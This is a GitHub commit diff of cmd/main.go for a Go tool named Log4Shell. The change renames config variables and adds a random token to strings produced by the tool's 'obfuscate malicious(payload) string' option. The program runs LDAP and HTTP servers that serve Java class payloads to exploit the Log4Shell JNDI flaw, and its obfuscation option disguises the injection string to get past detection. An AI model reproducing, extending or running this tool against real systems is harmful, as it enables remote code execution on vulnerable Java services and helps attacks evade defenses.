Skip to content

Commit 0ca58d3

Browse files
committed
main.go: add token when use obfuscate, rename global variable.
1 parent d6df78e commit 0ca58d3

File tree

1 file changed

+56
-22
lines changed

1 file changed

+56
-22
lines changed

cmd/main.go

Lines changed: 56 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -5,34 +5,37 @@ import (
55
"flag"
66
"fmt"
77
"log"
8+
"math/rand"
89
"os"
910
"os/signal"
1011

1112
"github.com/For-ACGN/Log4Shell"
1213
)
1314

1415
var (
15-
cfg log4shell.Config
16-
crt string
17-
key string
18-
obf string
16+
config log4shell.Config
17+
certFile string
18+
keyFile string
19+
rawStr string
20+
noToken bool
1921
)
2022

2123
func init() {
2224
banner()
2325

2426
flag.CommandLine.SetOutput(os.Stdout)
25-
flag.StringVar(&cfg.Hostname, "host", "127.0.0.1", "server IP address or domain name")
26-
flag.StringVar(&cfg.PayloadDir, "payload", "payload", "payload(java class) directory")
27-
flag.StringVar(&cfg.HTTPNetwork, "http-net", "tcp", "http server network")
28-
flag.StringVar(&cfg.HTTPAddress, "http-addr", ":8080", "http server address")
29-
flag.StringVar(&cfg.LDAPNetwork, "ldap-net", "tcp", "ldap server network")
30-
flag.StringVar(&cfg.LDAPAddress, "ldap-addr", ":3890", "ldap server address")
31-
flag.BoolVar(&cfg.AutoCert, "auto-cert", false, "use ACME client to sign certificate")
32-
flag.BoolVar(&cfg.EnableTLS, "tls-server", false, "enable ldaps and https server")
33-
flag.StringVar(&crt, "tls-cert", "cert.pem", "tls certificate file path")
34-
flag.StringVar(&key, "tls-key", "key.pem", "tls private key file path")
35-
flag.StringVar(&obf, "obf", "", "obfuscate malicious(payload) string")
27+
flag.StringVar(&config.Hostname, "host", "127.0.0.1", "server IP address or domain name")
28+
flag.StringVar(&config.PayloadDir, "payload", "payload", "payload(java class) directory")
29+
flag.StringVar(&config.HTTPNetwork, "http-net", "tcp", "http server network")
30+
flag.StringVar(&config.HTTPAddress, "http-addr", ":8080", "http server address")
31+
flag.StringVar(&config.LDAPNetwork, "ldap-net", "tcp", "ldap server network")
32+
flag.StringVar(&config.LDAPAddress, "ldap-addr", ":3890", "ldap server address")
33+
flag.BoolVar(&config.AutoCert, "auto-cert", false, "use ACME client to sign certificate automatically")
34+
flag.BoolVar(&config.EnableTLS, "tls-server", false, "enable ldaps and https server")
35+
flag.StringVar(&certFile, "tls-cert", "cert.pem", "tls certificate file path")
36+
flag.StringVar(&keyFile, "tls-key", "key.pem", "tls private key file path")
37+
flag.StringVar(&rawStr, "obf", "", "obfuscate malicious(payload) string")
38+
flag.BoolVar(&noToken, "no-token", false, "not add random token when use obfuscate")
3639
flag.Parse()
3740
}
3841

@@ -52,21 +55,33 @@ func banner() {
5255

5356
func main() {
5457
// output obfuscated string
55-
if obf != "" {
56-
fmt.Printf("raw: %s\n\n%s\n", obf, log4shell.Obfuscate(obf))
58+
if rawStr != "" {
59+
if noToken {
60+
fmt.Printf("raw: %s\n\n%s\n", rawStr, log4shell.Obfuscate(rawStr))
61+
return
62+
}
63+
64+
front := rawStr[:len(rawStr)-1]
65+
token := generateToken()
66+
last := string(rawStr[len(rawStr)-1])
67+
rawStr = fmt.Sprintf("%s_%s%s", front, token, last)
68+
fmt.Printf("raw: %s\n\n%s\n\n", rawStr, log4shell.Obfuscate(rawStr))
69+
70+
const notice = "[info] each string can only be used once, or wait %d seconds.\n"
71+
fmt.Printf(notice, log4shell.TokenExpireTime)
5772
return
5873
}
5974

6075
// load tls certificate
61-
if cfg.EnableTLS {
62-
cert, err := tls.LoadX509KeyPair(crt, key)
76+
if config.EnableTLS {
77+
cert, err := tls.LoadX509KeyPair(certFile, keyFile)
6378
checkError(err)
64-
cfg.TLSCert = cert
79+
config.TLSCert = cert
6580
}
66-
cfg.Logger = os.Stdout
81+
config.Logger = os.Stdout
6782

6883
// start log4shell server
69-
server, err := log4shell.New(&cfg)
84+
server, err := log4shell.New(&config)
7085
checkError(err)
7186
err = server.Start()
7287
checkError(err)
@@ -80,6 +95,25 @@ func main() {
8095
checkError(err)
8196
}
8297

98+
func generateToken() string {
99+
const n = 16
100+
101+
str := make([]rune, n)
102+
for i := 0; i < n; i++ {
103+
s := ' ' + 1 + rand.Intn(90) // #nosec
104+
switch {
105+
case s >= '0' && s <= '9':
106+
case s >= 'A' && s <= 'Z':
107+
case s >= 'a' && s <= 'z':
108+
default:
109+
i--
110+
continue
111+
}
112+
str[i] = rune(s)
113+
}
114+
return string(str)
115+
}
116+
83117
func checkError(err error) {
84118
if err != nil {
85119
log.Fatalln("[error]", err)

0 commit comments

Comments
 (0)